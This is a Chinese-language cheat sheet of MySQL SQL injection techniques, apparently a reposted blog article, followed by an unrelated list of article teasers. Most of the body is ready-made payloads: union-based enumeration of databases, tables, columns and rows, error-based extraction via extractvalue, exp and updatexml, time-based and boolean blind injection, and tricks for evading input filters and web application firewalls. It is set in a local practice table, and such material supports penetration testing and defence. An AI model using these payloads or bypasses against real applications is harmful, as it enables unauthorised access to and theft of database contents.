超全的SQL注入姿势总结

news2025/1/18 6:54:59

目录

常见姿势

环境搭建

信息收集

报错注入

延时注入

布尔注入

堆叠注入

绕过方法

绕过引号

or and xor not绕过

绕过注释符

内联注释绕过

类型转换绕过

=绕过

WAF绕过-应用层


常见姿势

环境搭建

use mysql;
create table if not exists my_table(
id int PRIMARY key auto_increment,
name VARCHAR(20),
age int);
insert into my_table values(NULL,'xiao',19);
insert into my_table values(NULL,'coleak',20);
insert into my_table values(NULL,'ayue',23);
select * from my_table;
select * from my_table where name='';

信息收集

  • 后台逻辑

select * from my_table where id='{变量}';

  • 判断闭合

添加引号看报错情况判断闭合的类型

a'

a"

  • 判断列数

1' order by 4#

  • 判断回显点

-1' union select 1,2,3#

  • 爆库名

-1' union select 1,database(),3#

1,mysql,3

  • 爆表名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='mysql'#

  • 爆列名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='my_table'#

  • 爆数值

-1' union select 1,group_concat(0x7e,name,0x7e),3 from mysql.my_table#

  • 其他函数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir   MYSQL安装路径

@@version_compile_os 操作系统

多条数据显示函数:

concat()、group_concat()、concat_ws()

  • 扫描过滤

bp+sql关键词字典

代替词:{coelak}=(0-n),{coelak++}=(1-n)

报错注入

  • extractvalue函数

1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))# (爆出版本号)

1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))# (爆出操作系统)

1' and extractvalue(1,concat(0x7e,@@datadir,0x7e))#

获取当前位置所用数据库的位置

1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit {coleak},1),0x7e))#(爆数据库)

依次爆出每个数据库名字

1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit {coleak},1),0x7e))#(爆mysql数据库的数据表)

1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='my_table' limit {coleak},1),0x7e))#(爆表my_table的字段)

1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,name,0x7e,age) from mysql.my_table limit 0,1),0x7e))#(爆mytable的id,name,age数据)

  • exp函数 

exp函数溢出错误:

在mysql>5.5.53时,则不能返回查询结果

获取数据库名

1' and exp(~(select*from(select database())x))#

获取表名信息

1' and exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema='mysql')x))#

1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))#

获取列名信息

1' and exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')x))#

1' and exp(~(select * from (select column_name from information_schema.columns where table_name='my_table' limit 0,1)a))#

获取列名对应的信息

1' and exp(~(select*from(select group_concat(id,0x7e,name,0x7e,age) from test222.my_table)x))#

  • updatexml函数

细节问题: extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit {coleak},1),0x7e),1)# (爆数据库)

1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {coleak},1),0x7e),1)#(爆数据表)

1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)# (爆字段)

1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,name,0x7e,age) from test222.my_table limit 0,1),0x7e),1)#';(爆内容)

延时注入

1' and if(length(database())=7,sleep(10),1)#

爆出数据库:

1' and if(ascii(substr(database(),{coleak++},1))=115,1,sleep(10))#

1' and if(ascii(substr(database(),{coleak++},1))>115,1,sleep(10))#

爆出数据表:

1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="test222"limit 0,1),{coleak},1)))=101,sleep(5),1)#

(left语句判断)

1' and if(left(database(),1)='m',sleep(10),1) #

1' and if(left(database(),2)='my',sleep(10),1) #

布尔注入

Left判断数据库

1' and left(database(),1)='t' #

1' and left(database(),2) ='te' #

Like语句判断表名

1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'my_table'#

堆叠注入

见 [强网杯 2019]随便注

绕过方法

绕过空格

两个空格代替一个空格,用Tab代替空格,%a0=空格:

payload:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

最基本的绕过方法,用注释替换空格: /* 注释 */

绕过引号

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。my_table的十六进制的字符串是6D795F7461626C65。那么最后的sql语句就变为了:

select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x6D795F7461626C65

 

or and xor not绕过

and=&& or=|| xor=| not=!

绕过注释符

(#,–(后面跟一个空格))过滤:

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。别和注释/*... */搞混了。

eg:union /*!select*/ 1,2

类型转换绕过

select * from my_table where name=0;

原理如下:

为什么查询name=0的数据时会将这些内容输出出来呢? 原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。

=绕过

不加通配符的like执行的效果和=一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2)rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)
————————————————
版权声明:本文为CSDN博主「渗透测试老鸟-九青」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zkaqlaoniao/article/details/120948100

WAF绕过-应用层

大小写/关键字替换

  • id=1UnIoN/**/SeLeCT1,user()

  • Hex() bin() 等价于 ascii()

  • Sleep() 等价于 benchmark()

  • Mid() substring() 等价于substr()

  • @@user 等价于 User()

  • @@Version 等价于 version()

绕过:

AND -> &&

OR -> || / ^

= -> LIKE,REGEXP, BETWEEN, not < and not >,!<>

> X -> not between 0 and X

WHERE -> HAVING

手工盲注 1'||ascii(substr(database(),2,1))>='120

各种编码

大小写,URL,hex,%0A等

注释使用

//----+#//+:%00/!/等

再次循环

union==uunionnion

分块传输

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/158603.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HC小区管理系统安装记录一次群里小伙伴梓豪方式安装问题

记录一次群里小伙伴安装&#xff0c;供大家参考 问题排查 打开梓豪地址查看 Redis MySQL Nginx 是否启动成功&#xff0c;查看日志启动成功 MySQL正常 redis 没有报错 Nginx也正常 查看hc 是否启动成功&#xff0c;点击控制台 查看docker 发现8008 端口被占用了&#xff0c…

【异常】原来提示SocketTimeoutException:connect timed out还可能是外部因素导致

一、现象截图 一大早收到ELK的邮件提醒&#xff0c;让我来看看&#xff0c;又是哪个妖怪在作孽&#xff1f; 二、问题定位 2.1 SocketTimeoutException:connect timed out 经验告诉我&#xff0c;这个问题一般是第三方平台的问题&#xff0c;大部分原因是发起Http请求&…

惠普M329打印机更换副厂硒鼓后提示墨粉不足并无法打印

买了一个惠普M329打印机,打印效果不错,速度快,大量复印比较方便。因为最近打印和复印比较多,很快原装墨粉用完了。又买了一个副厂(带芯片)的硒鼓换上。不到一个月,又用光了,这次买了同一个副厂的硒鼓(不带芯片)。将原来的芯片(副厂的)拆下来,装在新硒鼓上。装到M3…

喜讯!华秋电子荣获千峰奖“2022年度产业互联网百强”,持续为电子产业增效降本!

12月28日&#xff0c;2022全球数字贸易大会专题活动“跨境产业互联网峰会暨2022年度千峰之夜”在武汉隆重举行&#xff0c;大会聚集了全国产业互联网、跨境电商平台、数字经济、资本市场等嘉宾&#xff0c;共同探讨产业互联网公司出海的机会和路径。 亿邦动力董事长郑敏介绍&am…

数字IC设计、验证、FPGA笔试必会 - Verilog经典习题 (三)奇偶校验

数字IC设计、验证、FPGA笔试必会 - Verilog经典习题 &#xff08;三&#xff09;奇偶校验 &#x1f508;声明&#xff1a; &#x1f603;博主主页&#xff1a;王_嘻嘻的CSDN博客 &#x1f9e8;未经作者允许&#xff0c;禁止转载 &#x1f511;系列专栏&#xff1a;牛客Verilog习…

房产管理系统平台架构安全需求分析

数图互通高校房产管理系统是基于公司自主研发的FMCenterV5.0平台&#xff0c;是针对中国高校房产的管理特点和管理要求&#xff0c;研发的一套标准产品&#xff1b;通过在中国100多所高校的成功实施和迭代&#xff0c;形成了一套成熟、完善、全生命周期的房屋资源管理解决方案。…

JavaAccessBridge(Java访问桥)详细介绍

Java Access Bridge 通过 Java 访问桥 API&#xff0c;您可以给使用Java应用程序编写的在windows系统上运行的图形化系统开发辅助技术应用程序。它包含本机方法&#xff0c;使您能够查看和操作有关 Java 应用程序中 GUI 元素的信息&#xff0c;这些信息将通过 Java 访问桥转发…

二维数组中各个三角形的关系,三角形的打印同理

给你一个n*n矩阵&#xff0c;按照顺序填入1到n*n的数&#xff0c;例如n5&#xff0c;该矩阵如下 (这是一个题目&#xff0c;但是我这个写法在牛客刷题中是不能正确的得分的&#xff0c;但是我找到了各个关系&#xff0c;然后分享给大家) 然后再对其进行求和处理&#xff0c;是…

在IntelliJ IDEA中使用.ignore插件忽略Git不必要提交的文件

第一步&#xff1a; 点击File->Settings&#xff0c;在左侧菜单找到Plugins&#xff0c;点击搜索栏搜索.ignore&#xff0c;点击Install 第二步&#xff1a; 重启idea -->在项目上右键->New ->.ignore file ->.gitignore file(Git) 第三部&#xff1a; 在项目中…

http协议的简单总结

目录 1.http协议的特性 2.http协议的请求 3.get请求和post请求的区别 4.http协议的响应 1.http协议的特性 http协议是建立在TCP/IP协议之上应用层协议&#xff0c;默认端口为80,8080 http协议的的特点是无状态&#xff0c;无连接&#xff08;短连接&#xff09; 2.http协…

【面试题】京东面试查漏补缺

目录一&#xff1a;笔试题1.如何获取URL中的参数方法一方法二2.怎么平铺多维数组方法一方法二&#xff1a;递归方法三&#xff1a; flat() 和 flatMap()二&#xff1a;面试题1.promise相关问题2.vue nextTick的作用和原理3.http状态码304缓存相关问题4.其他常规问题省略wh零售事…

在线学习(online learning)——Chapter 2 Problem Formulations and Related Theory

在线学习(online learning)——Chapter 2 Problem Formulations and Related Theory 本章中&#xff0c;我们将首先给出一个经典的在线学习问题的形式化描述&#xff0c;即在线二分类(online binary classification)&#xff0c;然后介绍统计学习理论、在线凸优化和博弈论的基…

Zabbix“专家坐诊”第179期问答汇总

欢迎大家加入乐维社区zabbix问答专栏&#xff0c;除了在论坛发帖求问外&#xff0c;还可以在QQ群里交流进步&#xff0c;并且每周三我们会进行免费的技术答疑活动。 问题一&#xff1a; Q&#xff1a;Zabbix alert syncer processes more than 75% busy&#xff0c;这个告警&…

Live800:优秀的在线客服系统配置哪些功能模块?

在线客服系统是企业客服解决客户疑惑的软件系统&#xff0c;是企业统一对外联系的窗口。为了提升客户服务质量&#xff0c;提高客服人员工作效率&#xff0c;越来越多的企业配置了在线客服系统。那一款优秀的在线客服系统需要配置哪些功能模块呢&#xff1f;一、在线沟通模块在…

简明精要Android IPC通信

目录 一、Android应用层IPC通信方式 二、IPC通信数据拷贝次数 这里指的从应用层角度&#xff0c;IPC通信方式。简单记录一下。 一、Android应用层IPC通信方式 Bundle&#xff1a;四大组件中的三大组件&#xff08;Activity、Service、Receiver&#xff09;都是支持在Intent中…

MySQL学习之一条SQL更新语句的执行

文章目录前言一、MySQL更新操作大致流程二、redo log介绍三、binlog介绍四、MySQL更新操作的具体流程前言 今天我们通过一条SQL更新语句&#xff0c;了解MySQL的日志系统 一、MySQL更新操作大致流程 更新数据库表上的操作&#xff0c;跟这个表有关的查询缓存会失效。这条语句…

MyBatisPlus(MP)学习记录(分页查询的开启+日志打印配置+乐观锁+映射匹配+字段匹配和表名匹配+null值判定+代码生成器等等)

MP介绍&#xff08;官网链接&#xff09; MyBatis-Plus&#xff08;简称 MP&#xff09;是一个 MyBatis 的增强工具&#xff0c;在 MyBatis 的基础上只做增强不做改变&#xff0c;为简化开发、提高效率而生。 前言 本篇文章展示的MP教学中涉及到的版本如下&#xff1a; IDE…

Unity 之 Addressable可寻址系统 -- 可寻址系统概念介绍 -- 入门(一)

可寻址系统面板概念 -- 入门&#xff08;一&#xff09;一&#xff0c;可寻址系统概念介绍1.1 官方话术1.2 几个概念二&#xff0c;可寻址系统目录介绍2.1 导入工程2.2 目录介绍概述&#xff1a;本片文章带大家了解可寻址系统的相关概念&#xff0c;为大家介绍可寻址系统导入方…

Elasticsearch:如何在 Docker 上运行 Elasticsearch 8.x 进行本地开发

对于 Elasticsearch 的新主要版本 (8.x.x)&#xff0c;有关于在 Docker 上运行 Elasticsearch 和 Kibana 的重大更新。 过去适用于以前版本的 Docker 和 Docker Compose 的命令和语法需要更新才能适用于最新版本。 在这篇文章中&#xff0c;我们将介绍如何使用 Docker 和 Docke…

Hudi系列5:Hudi与Spark集成

文章目录一. Spark操作Huid概述二. Spark-Shell方式三. pyspark方式四. SparkSQL方式参考:一. Spark操作Huid概述 Hudi各个版本支持Spark版本情况: 将hudi集成spark的jar包&#xff0c;放到spark的jars目录 -- 同步到其它节点 cd /home/hudi-0.12.0/packaging/hudi-spark-b…